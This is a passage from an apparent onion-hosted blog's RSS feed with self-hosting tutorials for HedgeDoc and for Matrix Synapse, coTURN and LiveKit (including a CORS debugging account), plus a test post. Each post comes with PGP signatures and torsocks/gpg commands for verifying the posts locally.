    +5CQIbWuYoPIpvf0XCQHHABJF+zzq6AzJhnIbgGg58sZ/yrYFM8cI6GVxsOy92ADT
    +eCzo4ktTpt4YHhw/Fj/eRzzvJzRrtP3+AtIvQjDwKigco7f3wgY=
    +=vvS6
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/Augest_2025.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/Augest_2025.md.asc
    +gpg --verify Augest_2025.md.asc Augest_2025.md
    +  
    +
    + + +]]>
    +
    + + Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hedge_doc/ + Fri, 29 Aug 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hedge_doc/ + <p>HedgeDoc is an open-source collaborative Markdown editor. Think <em>Google Docs for Markdown</em>: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.</p> +<hr> +<h2 id="prerequisites">Prerequisites</h2> +<ul> +<li>A Linux server with <strong>Docker</strong> and <strong>Docker Compose</strong></li> +<li>A domain name pointing to your server (e.g. <code>notes.alipourimjourneys.ir</code>)</li> +<li><strong>Nginx</strong> installed for reverse proxying</li> +<li><strong>Certbot</strong> for Let’s Encrypt certificates</li> +</ul> +<hr> +<h2 id="1-create-the-project-directory">1. Create the project directory</h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir ~/hedgedoc <span style="color:#f92672">&amp;&amp;</span> cd ~/hedgedoc</span></span></code></pre></div> +<hr> +<h2 id="2-create-env">2. Create <code>.env</code></h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-env" data-lang="env"><span style="display:flex;"><span>POSTGRES_PASSWORD<span style="color:#f92672">=</span>ChangeThisStrongPassword +</span></span><span style="display:flex;"><span>HD_DOMAIN<span style="color:#f92672">=</span>notes.alipourimjourneys.ir</span></span></code></pre></div> +<p>Generate a strong password with:</p> + HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.

    +
    +

    Prerequisites

    +
      +
    • A Linux server with Docker and Docker Compose
    • +
    • A domain name pointing to your server (e.g. notes.alipourimjourneys.ir)
    • +
    • Nginx installed for reverse proxying
    • +
    • Certbot for Let’s Encrypt certificates
    • +
    +
    +

    1. Create the project directory

    +
    mkdir ~/hedgedoc && cd ~/hedgedoc
    +
    +

    2. Create .env

    +
    POSTGRES_PASSWORD=ChangeThisStrongPassword
    +HD_DOMAIN=notes.alipourimjourneys.ir
    +

    Generate a strong password with:

    +
    openssl rand -base64 32
    +
    +

    3. Create docker-compose.yml

    +
    version: "3.9"
    +
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_USER: hedgedoc
    +      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
    +      POSTGRES_DB: hedgedoc
    +    volumes:
    +      - db:/var/lib/postgresql/data
    +    restart: unless-stopped
    +
    +  hedgedoc:
    +    image: quay.io/hedgedoc/hedgedoc:1.10.2
    +    depends_on:
    +      - db
    +    environment:
    +      CMD_DB_URL: postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc
    +      CMD_DOMAIN: ${HD_DOMAIN}
    +      CMD_PROTOCOL_USESSL: "true"
    +      CMD_URL_ADDPORT: "false"
    +      CMD_PORT: "3000"
    +      CMD_EMAIL: "true"
    +      CMD_ALLOW_EMAIL_REGISTER: "false"
    +    volumes:
    +      - uploads:/hedgedoc/public/uploads
    +    ports:
    +      - "127.0.0.1:3000:3000"
    +    restart: unless-stopped
    +
    +volumes:
    +  db:
    +  uploads:
    +

    Bring it up:

    +
    docker compose up -d
    +
    +

    4. Get a Let’s Encrypt certificate

    +

    Request a cert with a DNS challenge:

    +
    sudo certbot certonly   --manual   --preferred-challenges dns   -d notes.alipourimjourneys.ir   -m you@example.com   --agree-tos --no-eff-email
    +

    Add the TXT record certbot asks for, wait for DNS to propagate, then continue.
    +Certificates will be in:

    +
    /etc/letsencrypt/live/notes.alipourimjourneys.ir/
    +
    +

    5. Configure Nginx

    +

    Create /etc/nginx/sites-available/notes.alipourimjourneys.ir:

    +
    server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 80;
    +  listen [::]:80;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 443 ssl http2;
    +  listen [::]:443 ssl http2;
    +
    +  ssl_certificate     /etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:3000;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Real-IP $remote_addr;
    +    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +    proxy_set_header X-Forwarded-Proto https;
    +
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +  }
    +}
    +

    Enable the config and reload Nginx:

    +
    sudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    6. Create users

    +

    Because we disabled self-registration, create accounts manually:

    +
    docker compose exec hedgedoc ./bin/manage_users --add alice@example.com
    +

    You’ll be prompted for a password.
    +To reset a password later:

    +
    docker compose exec hedgedoc ./bin/manage_users --reset alice@example.com
    +
    +

    7. Done!

    +

    Visit https://notes.alipourimjourneys.ir and log in with the user you created. You now have your own collaborative Markdown editor 🎉

    +
    +

    Extras:

    +
      +
    • Backups: dump the PostgreSQL database and save the uploads volume.
    • +
    • Upgrades: docker pull quay.io/hedgedoc/hedgedoc:latest && docker compose up -d.
    • +
    • Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more.
    • +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM
    +jSrPHA//WlMEZx1k/aGx3zau+wRrAOq4XlrvC7keBvqMs0PJGhJmT8jnOMh0+26w
    +AGav2jBuChLYsDx+O8l18uxcsu9fdrz8r4N4sDOnsndSsg15rTT28P3MNvvUL8ns
    +iOc9uEUkxF59rT3OXRI56hH3VX6vzxakdAnW3Afhki2Bl54jur2+6RVtuthGUEV+
    +QZ/36QVXLrOAas1bqq3f38m4M2no3ZqVvpj+Alur2Ji/gcGZlSArBnIoJQoK5L+r
    +UZLJsQ+LrqCJp4i+GkkX05si2srSTjawBu+ssHf+uwPg0Q6AMTbubrGiHrMMtMbM
    +4PCFtS8vD/ZBVkVpSBybyXdMxQU+y9AI1LZ//X4cQWdqgRpinOVENuZ2FeVI6qa/
    +sBGHLThq9nZEXmMT2oQa1wi+CaY17z9fYj20F5moOp2Q6pxBGPyHZRV3WAr5xURU
    +5B9SwVtNqIzm7eoAbwckU3h+TfIJ4vGulSqPqHvZ/XAdbzCVXaSXBN951oA0No1y
    +MyvsIskzKVPvSqndYjxLGiopvOpITgxN5q6a7ubBmxYCrS+SF74jPkDjtc4EFuKB
    +QrMTBm/+Xl/VEESYv5Mx7hwYv1dnmJUFrx62FUYmAMaFP2UcMIlJJ5zQCwsDdREk
    +aG3wFuWH4d9UFohK+MJIHqYk1+TbZJm3bnds8pOqniIZ7M5PcEg=
    +=uf5y
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hedge_doc.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hedge_doc.md.asc
    +gpg --verify hedge_doc.md.asc hedge_doc.md
    +  
    +
    + + +]]>
    +
    + + Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/ + Tue, 26 Aug 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/ + How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from &#39;waiting for media&#39; to solid calls. + +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.

    +

    What I’m building

    +
      +
    • A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain).
    • +
    • TURN/STUN (coTURN) for NAT traversal.
    • +
    • Element Call backed by LiveKit, fronted by rtc.example.com.
    • +
    • Nginx (host) as the single reverse proxy for everything.
    • +
    • Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud).
    • +
    • UFW firewall opened for Matrix federation, TURN, and LiveKit media ports.
    • +
    +
    +

    I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.

    +
    +

    Prereqs

    +
      +
    • DNS A/AAAA: +
        +
      • matrix.example.com → your server (v4/v6)
      • +
      • rtc.example.com → your server (v4/v6)
      • +
      +
    • +
    • Certificates: +
        +
      • matrix.example.com and rtc.example.com via Let’s Encrypt on the host
      • +
      +
    • +
    • Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets & UDP work without interference.
    • +
    • UFW / firewall open: +
        +
      • 80/tcp, 443/tcp
      • +
      • 8448/tcp (Matrix federation)
      • +
      • 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS)
      • +
      • LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range)
      • +
      +
    • +
    • Docker + docker compose installed.
    • +
    +
    +

    Synapse + PostgreSQL

    +

    1) The PostgreSQL collation gotcha

    +

    Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:

    +
    Database has incorrect collation of 'en_US.utf8'. Should be 'C'
    +

    Two ways to resolve:

    +
      +
    • Preferred (clean): Re-initialize the Postgres cluster with C and UTF-8:
    • +
    +
    # docker-compose.yml (excerpt for Postgres)
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_DB: synapse
    +      POSTGRES_USER: synapse
    +      POSTGRES_PASSWORD: <strong-password>
    +      POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C"
    +    volumes:
    +      - ./pgdata:/var/lib/postgresql/data
    +
    +

    Requires wiping the volume and recreating the DB.

    +
      +
    • Pragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster.
    • +
    +

    2) Start Synapse and generate config

    +
    docker compose up -d db synapse
    +# Logs
    +docker compose logs --tail=200 synapse
    +

    Ensure Synapse prints your server_name and public base URL and stays up.

    +

    3) Create an admin user

    +
    # Exec into the running Synapse container:
    +docker compose exec synapse register_new_matrix_user \
    +  -c /data/homeserver.yaml -u <username> -p <password> \
    +  -a -k
    +
    +

    If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.

    +
    +

    TURN (coTURN)

    +

    1) Avoid bad inline comments

    +

    If you see errors like:

    +
    ERROR: Unknown boolean value: # log to journald/syslog. You can use on/off, yes/no, 1/0, true/false.
    +

    …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.

    +

    2) Minimal turnserver.conf

    +
    listening-port=3478
    +tls-listening-port=5349
    +fingerprint
    +use-auth-secret
    +static-auth-secret=<shared-secret>   # also set in Synapse
    +realm=example.com                    # used in creds generation
    +total-quota=0
    +bps-capacity=0
    +cli-password=<admin-pass>
    +no-cli
    +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem
    +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
    +# If behind NAT:
    +# external-ip=<public-ip>/<internal-ip>
    +

    3) Wire TURN into Synapse

    +

    In homeserver.yaml:

    +
    turn_uris:
    +  - "turn:turn.example.com?transport=udp"
    +  - "turn:turn.example.com?transport=tcp"
    +  - "turns:turn.example.com:5349?transport=tcp"
    +turn_shared_secret: "<shared-secret>"
    +turn_user_lifetime: "1d"
    +

    Verify the homeserver issues TURN creds:

    +
    TOKEN='<your matrix access token>'
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +

    You should see uris, a time-limited username and password.

    +
    +

    Nginx (host) for Synapse and federation

    +

    Create /etc/nginx/conf.d/matrix.conf:

    +
    # Client traffic on 443
    +server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  # Proxy client & admin APIs to Synapse (container) on 8008
    +  location ~ ^(/_matrix|/_synapse/client) {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +
    +  # Advertise homeserver base + RTC focus (MSC4143) via .well-known
    +  location = /.well-known/matrix/client {
    +    default_type application/json;
    +    add_header Access-Control-Allow-Origin "*" always;
    +    return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}';
    +  }
    +}
    +
    +# Federation on 8448
    +server {
    +  listen 8448 ssl http2;  listen [::]:8448 ssl http2;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +}
    +

    Reload and sanity check:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +

    Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:

    +
    curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +# expect: true
    +

    +

    Element Call + LiveKit

    +

    I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.

    +

    1) LiveKit config (/etc/livekit.yaml inside container)

    +
    port: 7880
    +bind_addresses: ["0.0.0.0"]
    +rtc:
    +  tcp_port: 7881
    +  port_range_start: 50100
    +  port_range_end: 50200
    +  use_external_ip: true
    +logging:
    +  level: info
    +turn:
    +  enabled: false
    +keys:
    +  lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________"
    +
    +

    Important: the secret must be >= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.

    +

    2) elementcall_jwt env

    +

    Run it with:

    +
      +
    • LIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path)
    • +
    • LIVEKIT_KEY=lk_prod_1
    • +
    • LIVEKIT_SECRET=<the long secret above>
    • +
    • LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit)
    • +
    • Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup
    • +
    +

    Check logs on start; it prints the LIVEKIT_URL it will advertise.

    +

    3) Nginx (host) for rtc.example.com

    +

    Create /etc/nginx/conf.d/rtc.conf:

    +
    server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name rtc.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/rtc.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem;
    +
    +  access_log /var/log/nginx/rtc.access.log combined;
    +
    +  # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
    +  location = /sfu/get {
    +    proxy_hide_header Access-Control-Allow-Origin;
    +    add_header Access-Control-Allow-Origin $http_origin always;
    +    add_header Vary "Origin" always;
    +    add_header Access-Control-Allow-Methods "POST, OPTIONS" always;
    +    add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always;
    +    if ($request_method = OPTIONS) { return 204; }
    +
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_pass http://127.0.0.1:8070/sfu/get;  # elementcall_jwt
    +  }
    +
    +  # 3b) LiveKit WS & HTTP (catch-all)
    +  location / {
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +    proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol;  # "livekit"
    +    proxy_set_header Origin $http_origin;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_buffering off;
    +    proxy_read_timeout 3600s;
    +    proxy_pass http://127.0.0.1:7880;         # livekit
    +  }
    +}
    +

    Reload and basic checks:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +# JWT preflight (should return a single ACAO header)
    +curl -si -X OPTIONS https://rtc.example.com/sfu/get \
    +  -H 'Origin: https://app.element.io' \
    +  -H 'Access-Control-Request-Method: POST' \
    +  -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p'
    +# Expected: one Access-Control-Allow-Origin and 200/204
    +
    +

    Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.

    +
    +

    The “waiting for media” debugging story (how I found it)

    +

    Symptom: Element Call created rooms, but calls stayed on “waiting for media.”

    +

    What worked:

    +
      +
    • elementcall_jwt could CreateRoom in LiveKit (seen in logs).
    • +
    • TURN creds endpoint returned time-limited credentials.
    • +
    +

    What didn’t appear:

    +
      +
    • No HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit.
    • +
    +

    Step 1: prove the WS vhost works (even without auth)

    +
    curl -v --http1.1 \
    +  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
    +  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
    +  -H 'Sec-WebSocket-Version: 13' \
    +  https://rtc.example.com/rtc -o /dev/null
    +

    Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.

    +

    Step 2: check the browser console

    +

    The smoking gun in DevTools:

    +
    Access-Control-Allow-Origin cannot contain more than one origin.
    +Fetch API cannot load https://rtc.example.com/sfu/get due to access control checks.
    +

    The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.

    +

    Fix: in Nginx I added:

    +
    proxy_hide_header Access-Control-Allow-Origin;
    +add_header Access-Control-Allow-Origin $http_origin always;
    +add_header Vary "Origin" always;
    +

    …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).

    +

    Step 3: confirm LiveKit side

    +

    Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.

    +
    +

    Useful verification commands

    +
    # Synapse features (expect MSC4140 true)
    +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +
    +# Well-known with RTC focus
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +
    +# TURN creds (with your access token)
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +
    +# JWT health
    +curl -si -X POST https://rtc.example.com/sfu/get
    +
    +# LiveKit simple HTTP probe
    +curl -si https://rtc.example.com | head
    +
    +# Nginx logs (look for 101 Switching Protocols when a call starts)
    +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 '
    +

    +

    Common pitfalls (I hit these so you don’t have to)

    +
      +
    • Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers.
    • +
    • Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it).
    • +
    • Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained).
    • +
    • Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly.
    • +
    • CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location.
    • +
    • Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths.
    • +
    • Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6.
    • +
    +
    +

    Final checklist (print me)

    +
      +
    • https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com.
    • +
    • /_matrix/client/versions shows "org.matrix.msc4140": true.
    • +
    • /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204.
    • +
    • Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log.
    • +
    • LiveKit logs show participants joining (not just CreateRoom).
    • +
    • /voip/turnServer returns time-limited TURN credentials.
    • +
    • Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range.
    • +
    +
    +

    Credits & tooling

    +
      +
    • Matrix Synapse, coTURN, LiveKit, Element Call.
    • +
    • curl, jq, docker compose logs, Nginx access logs. These are your best friends.
    • +
    • The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs.
    • +
    +

    Happy calling! 🎉

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSpglxAArFNgxheR8m2r6QvtoEuHJwI51WQteu+0un0FiIfHKtFPcXd2HiVqzODu
    +YZvIGCAecMURQMRvrgB8cO3ebY8Yi9EECnC1sHsluE05GOuro5Htja7TbsGxwTc3
    +PIe+zju7lIhTHonqLogUyyunhWxOfg1RCaSjp3n6k/r2iEamgKu6Cihrv54wstGa
    +SVJbwubie1D9TPcXU3ynC+ynNBcmVevFl7g/X7Ie8Pw0SP1dJF+we5iVqUrZgPO2
    +AudHlWRm13j7Xifv/JxqymkZV1XiShIY8Mb0Ju8m5+HjkoIaZDtSfFyt+AwPdHDQ
    +m3sMXA7yZUvy+pXtziwrOnHFAez22goAr9Ar9KcwGQgRvyxKuuKIuTq+yxtCuXBF
    +fPWo5pL0rMtIfwRyaiiX9bwV+WbBXNhghTPnaxuQ3CWkLdiwaycI7xPDAg8FzFAR
    +7yoN0vqhKSvZlAL1OQS+4yRcXnguq7UY9UF+drG0f0QpC3aht1QgrJ04gvDp2BOk
    +ymmlxCxUWQrFSqDThjv7WFCclamKTimCODKWvIG6sjQcJuLCg9CXRl+ZMvwobQqH
    +Tv8cm8PMimqJppUodB3Ig5zP3ZkVcK8uFm5XqoUnasqDVLLJaRcCu+Qt4h9gZ2w6
    +Q3Q6K/zPZcKEIrwJfczWotSgG0g8dnuMUUYALWTbRrGjN0mgCss=
    +=yHZZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/matrix_setup.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/matrix_setup.md.asc
    +gpg --verify matrix_setup.md.asc matrix_setup.md
    +  
    +
    + + +]]>
    +
    + + Hello World + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hello-world/ + Mon, 25 Aug 2025 08:53:38 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hello-world/ + <p>This is a test hello world post just to make sure everything works!</p> +<hr> +<div class="signature-block" style="margin-top:1rem"> + <p><strong>Downloads:</strong> + <a href="http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hello-world.md">Markdown</a> · + <a href="http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hello-world.md.asc">Signature (.asc)</a> + </p><details class="signature"> + <summary>View OpenPGP signature</summary> + <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM +jSpEQQ//WGvzlIkJyaez/yiM50pAlVusmd8LsNXrAPj97ZjyAiY&#43;8puTLs6Na2t7 +SfwQP03lYHajkmNmH1Sq2vCVTnTWcWOc81AUW7o5fAUl47FT2CzqwaimpGCxUhCB +IOvJT8CCXtLroLXqHk8bfLc8s6iGTQt0f2iV2D2TzPLHOEeh27JuWXu8FQX&#43;uFYE +B3ioZqc4wJyDFaGWO&#43;ZLEOBXPMR837rztabWYhqOkCuKNlZ06zTF6e4O0ZQ4nNVC +roZVMsh0voreT700bmzJmN5QJngzX0c/cmlMBXzsyQ8BDlmmAj92atR24a5AQ7vZ +dSyHfXs/or3HlAWCDPfyZOMM9y0PVIuX&#43;odMAUq13Ec2gIZvYa6NPAk0fnQrmjYJ +NZ13gDdb0I7My0KLSCDpTTajOZIf9ExdM9Ogpp8wix1kZuxNdJ4/ya9PhkOh8wEc +62eMm1khV99Gljg&#43;XbAG6A0KI7nO5TS464/JkU1&#43;d/inWjXmSkocTep9p1H/M&#43;nt +7jvNN/agYJh5HOuiA34zli8v2/GflACgFlE&#43;AcGR7cb9CxicTuzs8K&#43;kLzQBQSep +oy8FiFCh8msbfmCmvKANkU3nO27NmHbNu9e40A/vxtPZtM0zJnngb/B&#43;5rhDP4uT +6Q1OmbB4xs7jM&#43;WX1X7pHI2XBDNlAGy8hi4rZnmXqhMe4rVZJVo= +=kuAP +-----END PGP SIGNATURE----- +</pre> + </details><p><em>Verify locally:</em></p> + <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hello-world.md +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hello-world.md.asc +gpg --verify hello-world.md.asc hello-world.md + </pre> +</div> + This is a test hello world post just to make sure everything works!

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
    +jSpEQQ//WGvzlIkJyaez/yiM50pAlVusmd8LsNXrAPj97ZjyAiY+8puTLs6Na2t7
    +SfwQP03lYHajkmNmH1Sq2vCVTnTWcWOc81AUW7o5fAUl47FT2CzqwaimpGCxUhCB
    +IOvJT8CCXtLroLXqHk8bfLc8s6iGTQt0f2iV2D2TzPLHOEeh27JuWXu8FQX+uFYE
    +B3ioZqc4wJyDFaGWO+ZLEOBXPMR837rztabWYhqOkCuKNlZ06zTF6e4O0ZQ4nNVC
    +roZVMsh0voreT700bmzJmN5QJngzX0c/cmlMBXzsyQ8BDlmmAj92atR24a5AQ7vZ
    +dSyHfXs/or3HlAWCDPfyZOMM9y0PVIuX+odMAUq13Ec2gIZvYa6NPAk0fnQrmjYJ
    +NZ13gDdb0I7My0KLSCDpTTajOZIf9ExdM9Ogpp8wix1kZuxNdJ4/ya9PhkOh8wEc
    +62eMm1khV99Gljg+XbAG6A0KI7nO5TS464/JkU1+d/inWjXmSkocTep9p1H/M+nt
    +7jvNN/agYJh5HOuiA34zli8v2/GflACgFlE+AcGR7cb9CxicTuzs8K+kLzQBQSep
    +oy8FiFCh8msbfmCmvKANkU3nO27NmHbNu9e40A/vxtPZtM0zJnngb/B+5rhDP4uT
